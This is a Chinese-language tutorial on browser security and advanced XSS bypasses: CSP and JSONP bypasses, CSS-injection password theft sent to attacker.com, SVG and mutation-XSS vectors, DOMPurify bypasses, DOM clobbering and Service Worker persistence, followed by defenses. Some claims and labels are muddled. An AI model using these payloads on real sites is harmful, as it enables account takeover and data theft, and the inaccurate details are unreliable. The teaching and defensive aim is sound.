浏览器安全与 XSS 高级绕过完全指南

← 返回指南列表

浏览器安全与 XSS 高级绕过完全指南

跨站脚本攻击(XSS)是 Web 安全中最常见也最多变的漏洞。现代浏览器通过 CSP、XSS 过滤器、Trusted Types 等机制抵御 XSS,但攻击者不断发现新的绕过技术。本章深入分析浏览器安全机制和 XSS 的高级绕过技术。


一、浏览器安全模型

1.1 同源策略

场景 URL A URL B 同源?
协议不同 http://a.com https://a.com 否
域名不同 http://a.com http://b.com 否
端口不同 http://a.com:80 http://a.com:8080 否
路径不同 http://a.com/page1 http://a.com/page2 是
GRAPH
TD
    A[网页请求] --> B{同源检查}
    B -->|协议相同| C{域名相同}
    B -->|协议不同| F[拒绝访问]
    C -->|端口相同| D[允许访问 DOM/Storage]
    C -->|端口不同| F
    C -->|域名相同| D

1.2 内容安全策略 (CSP)

CSP 通过 HTTP 头或 meta 标签限制页面可以加载的资源:

HTTP
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src *;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

1.3 CSP 指令

指令 控制内容 示例
default-src 所有资源的默认策略 ‘self’
script-src JavaScript 源 ‘self’ ‘unsafe-inline’
style-src CSS 源 ‘self’ ‘unsafe-inline’
img-src 图片源 *
connect-src 网络请求源 ‘self’
frame-src iframe 源 ‘none’
frame-ancestors 允许嵌入的源 ‘self’
base-uri 允许的 URI ‘self’
form-action form 提交目标 ‘self’
object-src 插件源 ‘none’
report-uri 违规报告地址 /csp-violation

1.4 Trusted Types

JAVASCRIPT
// Trusted Types 阻止 DOM XSS
// 启用:Content-Security-Policy: require-trusted-types-for 'script'

// 创建策略
const sanitizer = trustedTypes.createPolicy('default', {
  createHTML: (input) => {
    // 只允许安全的 HTML
    return DOMPurify.sanitize(input);
  },
  createScriptURL: (url) => {
    // 只允许白名单 URL
    if (url.startsWith('/static/')) return url;
    throw new TypeError('URL not allowed');
  }
});

// 使用策略
element.innerHTML = sanitizer.createHTML(userContent);

二、XSS 类型回顾

2.1 反射型 XSS

HTML
<!-- URL 参数直接输出到页面 -->
<input type="text" value="<?= $_GET['q'] ?>">

<!-- 利用方式 -->
?q="><script>alert(1)</script>

2.2 存储型 XSS

JAVASCRIPT
// 用户评论存储到数据库后直接输出
app.post('/comment', (req, res) => {
  db.save(req.body.comment);  // 未过滤
});

app.get('/comments', (req, res) => {
  const comments = db.find();
  res.send(`<div>${comments.map(c => c.text).join('</div><div>')}</div>`);
});

2.3 DOM 型 XSS

HTML
<script>
// 从 URL 中获取参数并直接写入 DOM
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
</script>

<!-- 不经过服务器,只在前端触发 -->

三、CSP 绕过技术

3.1 利用 ‘unsafe-inline’

HTTP
// 如果 script-src 包含 'unsafe-inline' 或未指定
Content-Security-Policy: script-src 'self'

// 如果页面也允许 'unsafe-inline' style 可以有条件地利用
// 某些浏览器在特定版本中允许 script 通过 style 标签执行

// 利用 Angular / Vue / React 的模板注入
// Angular 沙箱绕过(老版本)
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

3.2 JSONP 劫持

HTTP
// 如果 script-src 允许某些 JSONP 端点
Content-Security-Policy: script-src https://example.com

// 利用 JSONP 回调执行代码
<script src="https://example.com/api?callback=alert(1)//"></script>

// 或使用已知的 JSONP 端点
// google.com, yahoo.com, github.com 等都有 JSONP 接口
<script src="https://www.google.com/complete/search?client=chrome&q=123&callback=alert(1)"></script>

3.3 CDN 回退攻击

HTTP
// 如果 script-src 允许多个 CDN
Content-Security-Policy: script-src https://cdnjs.cloudflare.com https://unpkg.com

// 利用已知的库文件
// 在 CDN 上存在 Angular callback 利用
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js"></script>
<script src="https://unpkg.com/@angular/cdk/bundles/cdk.umd.min.js"></script>
// 使用 MS Angular JSONP 回调进行 XSS
// 或 Prototype.js 的 $ 函数
// 或 jQuery 的 $ 函数(老版本)

3.4 绕过 ‘strict-dynamic’

HTTP
// strict-dynamic 允许第一个加载的 script 创建动态脚本
Content-Security-Policy: script-src 'strict-dynamic' 'self' https://cdn.example.com

// 绕过:如果页面有一个可信的第三方脚本
// 它可以通过 createElement('script') 加载任意代码
// 攻击者只需要控制第三方脚本或利用 API

3.5 CSP 信息泄露

HTTP
// CSP 报告可以用于验证是否存在绕过
Content-Security-Policy: default-src 'self'; report-uri /csp-report

// 攻击者可以通过 report-uri 进行探测
// 如果报告没有提交,说明 CSP 阻止了行为
// 可以逐帧进行盲注探测

// 利用 CSP 进行跨站点搜索
// 通过 img-src 的违规判断

四、Scriptless XSS

4.1 CSS 注入

HTML
<!-- 当可以控制 CSS 时的数据窃取 -->
<input type="password" name="password" id="password">

<!-- 使用属性选择器窃取密码中的字符 -->
<style>
/* 检查密码第一位是否为 a */
input[type="password"][value^="a"] {
  background: url(http://attacker.com/leak?char=a);
}
input[type="password"][value^="b"] {
  background: url(http://attacker.com/leak?char=b);
}
/* 逐字符暴力,每个位置最多 256 次请求 */
</style>

4.2 SVG 注入

HTML
<!-- SVG 可以作为 HTML 的替代执行向量 -->
<svg onload="alert(1)">
<svg xmlns="http://www.w3.org/2000/svg">
  <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)">
    <rect width="100" height="100" style="fill:red"/>
  </a>
</svg>

<!-- SVG 中的 animate 标签 -->
<svg>
  <animate onbegin="alert(1)" attributeName="x" values="0;0" dur="1s" />
</svg>

4.3 标签利用

HTML
<!-- meta 标签重定向 -->
<meta http-equiv="refresh" content="0;url=http://attacker.com">

<!-- meta 标签设置 Cookie -->
<meta http-equiv="set-cookie" content="session=attacker_session">

<!-- meta 标签 Content-Type 覆盖 -->
<meta http-equiv="content-type" content="text/html">

4.4 标签利用

HTML
<!-- 通过 <link> 实现 DNS 预取数据泄露 -->
<link rel="dns-prefetch" href="//attacker.com">

<!-- CSRF 通过 <link> 标签 -->
<link rel="stylesheet" href="http://victim.com/delete-account">

五、DOM Clobbering

5.1 原理

DOM Clobbering 通过 id/name 属性覆盖全局 JavaScript 变量:

HTML
<!-- 定义全局变量 -->
<a id="config"></a>
<script>
// 如果 config 变量未定义,会被 DOM 元素覆盖
console.log(config);  // -> <a id="config">

5.2 高级利用

HTML
<!-- 覆盖表单验证配置 -->
<a id="defaultConfig"></a>
<a id="defaultConfig" name="allowedDomains" href="http://attacker.com">
<script>
// 老代码:假设 defaultConfig 已定义
if (defaultConfig.allowedDomains.includes(domain)) {
  // 被绕过,因为 DOM 元素 .href 返回完整 URL
}
</script>

<!-- 利用 <form> 覆盖命名属性 -->
<form id="config"><input name="apiKey" value="xxx"></form>
<script>
// 覆盖 config.apiKey
</script>

<!-- 利用 <iframe> name 属性 -->
<iframe name="JSON" src="about:blank"></iframe>
<script>
// 覆盖全局 JSON 对象
JSON.parse = undefined;
</script>

5.3 DOMPurify 绕过

HTML
<!-- DOMPurify 2.0.15 前的 DOM Clobbering 绕过 -->
<form id="DOMPurify"><img src=x onerror=alert(1)></form>
<script>
// 某些版本的 DOMPurify 允许通过
</script>

<!-- 另一种 bypass:利用 <form> 的 innerText -->
<form><select><option><img src=x onerror=alert(1)>
</form>

六、Mutation XSS (mXSS)

6.1 原理

浏览器在解析 HTML 时,DOM 树的变化会导致安全策略的绕过:

HTML
<!-- 示例:InnerHTML 的解析差异 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

6.2 已发现的 mXSS 向量

HTML
<!-- 1. 基于 <noscript> 的 mXSS -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- 2. 基于 <select> 的 mXSS -->
<select><style></select><img src=x onerror=alert(1)></style>

<!-- 3. 基于 <template> 的 mXSS -->
<template><div><p title="</template><img src=x onerror=alert(1)>">

<!-- 4. 基于 <math> 的 mXSS -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

<!-- 5. 基于 <svg> 的 mXSS -->
<svg><p><a><desc><svg><p><textarea><title></p><img src=x onerror=alert(1)>

6.3 防御 mXSS

JAVASCRIPT
// 使用最新版本的 DOMPurify
// DOMPurify 3.0+ 已经修复大部分已知 mXSS 向量

// 自定义过滤
function sanitize(html) {
  // 移除所有 <noscript> 标签
  html = html.replace(/<noscript>/gi, '').replace(/<\/noscript>/gi, '');
  
  // 移除 <math> 和 <svg> 标签
  html = html.replace(/<(\/)?(math|svg)[^>]*>/gi, '');
  
  return DOMPurify.sanitize(html);
}

七、浏览器 XSS 过滤器

7.1 XSS Auditor(Chrome 已移除)

HTTP
// 旧版 Chrome 的 XSS 过滤器:X-XSS-Protection
X-XSS-Protection: 1; mode=block

// Chrome 78+ 已移除
// XSS Auditor 阻止反射型 XSS,但可以被绕过

// 绕过方式:
// 1. 使用突变突破过滤器的正则匹配
// 2. Content-Type 不匹配(text/plain)
// 3. 使用 AJAX 获取页面(避免直接反射)

7.2 Edge HTML 过滤器

TEXT
Edge 使用基于 IE 的 XSS 过滤器:
- 检测 URL 中的恶意模式
- 可被类似 Chrome 的方式绕过
- 新 Edge (Chromium) 不再有此过滤器

7.3 Safari 智能防跟踪

TEXT
Safari 的 ITP(Intelligent Tracking Prevention):
- 限制第三方 Cookie
- 阻止某些跨域跟踪
- 影响某些 XSS payload 的准确性
- 对 XSS 防御有帮助但非专门设计

八、高级攻击链

8.1 XS-Leaks

HTTP
// 跨站泄露 - 通过侧信道判断信息

// 利用 <script> 的加载状态判断
<script>
var img = new Image();
img.onload = function() { /* 页面存在该资源 */ };
img.onerror = function() { /* 不存在 */ };
img.src = "https://victim.com/user/12345";
</script>

// 利用 Cache 状态判断
// 已经被访问过的 URL 有不同响应时间

// 利用 iframe 的加载状态
// frame.offsetHeight/offsetWidth 检测页面内容

8.2 通过 Service Worker 持久化

JAVASCRIPT
// 注册 Service Worker 拦截所有请求
navigator.serviceWorker.register('/sw.js');

// sw.js
self.addEventListener('fetch', function(event) {
  // 修改 HTML 响应,注入恶意脚本
  event.respondWith(
    fetch(event.request).then(function(response) {
      if (response.headers.get('Content-Type').includes('text/html')) {
        return new Promise(function(resolve) {
          response.text().then(function(html) {
            html = html.replace('</body>', '<script>alert(1)</script></body>');
            resolve(new Response(html, response));
          });
        });
      }
      return response;
    })
  );
});

8.3 FileReader 绕过

HTML
<!-- 利用 File API 读取本地文件 -->
<input type="file" id="fileInput" onchange="readFile()">

<script>
function readFile() {
  var reader = new FileReader();
  reader.onload = function(e) {
    // e.target.result 包含文件内容
    document.getElementById('output').textContent = e.target.result;
  };
  reader.readAsText(document.getElementById('fileInput').files[0]);
}

// 结合 XSS,如果攻击者可以控制 FileReader 的目标
// 或使用 <input type=file> 的自动提交
</script>

九、防御策略深度

9.1 输出编码

上下文 编码 示例
HTML body HTML 实体 <script>
HTML attribute HTML 实体 “ onfocus=
JavaScript string Unicode 转义 \x3cscript\x3e
URL URL 编码 %3Cscript%3E
CSS CSS 转义 \003cscript\003e

9.2 Content-Type 严格化

HTTP
// 确保所有响应设置正确的 Content-Type
Content-Type: application/json; charset=utf-8

// X-Content-Type-Options 防止 MIME 嗅探
X-Content-Type-Options: nosniff

9.3 CSP 严格配置

HTTP
# 推荐的非严格 CSP
Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

# 严格 CSP(推荐)
Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-{random}' 'strict-dynamic';
  object-src 'none';
  base-uri 'self'

9.4 Trusted Types + CSP

HTTP
# 启用 Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'

# 创建安全的默认策略
<script>
if (window.trustedTypes && trustedTypes.createPolicy) {
  const escapeHTMLPolicy = trustedTypes.createPolicy('default', {
    createHTML: (str) => {
      return str.replace(/</g, '&lt;').replace(/>/g, '&gt;')
                .replace(/"/g, '&quot;').replace(/'/g, '&#39;');
    }
  });
}
</script>

十、总结

绕过技术 原理 防御
‘unsafe-inline’ 利用 允许内联脚本 移除 unsafe-inline
JSONP 劫持 利用回调端点 限制 script-src
DOM Clobbering 变量名覆盖 检查变量定义
mXSS 解析器差异 最新 DOMPurify
CSS 注入 属性选择器泄露 阻止样式注入
SVG 向量 SVG 事件 限制 SVG 标签
CSP 报告探测 违规报告盲注 移除 report-uri

最佳防御组合:严格 CSP (nonce/strict-dynamic) + Trusted Types + 输出编码 + 最新 DOMPurify。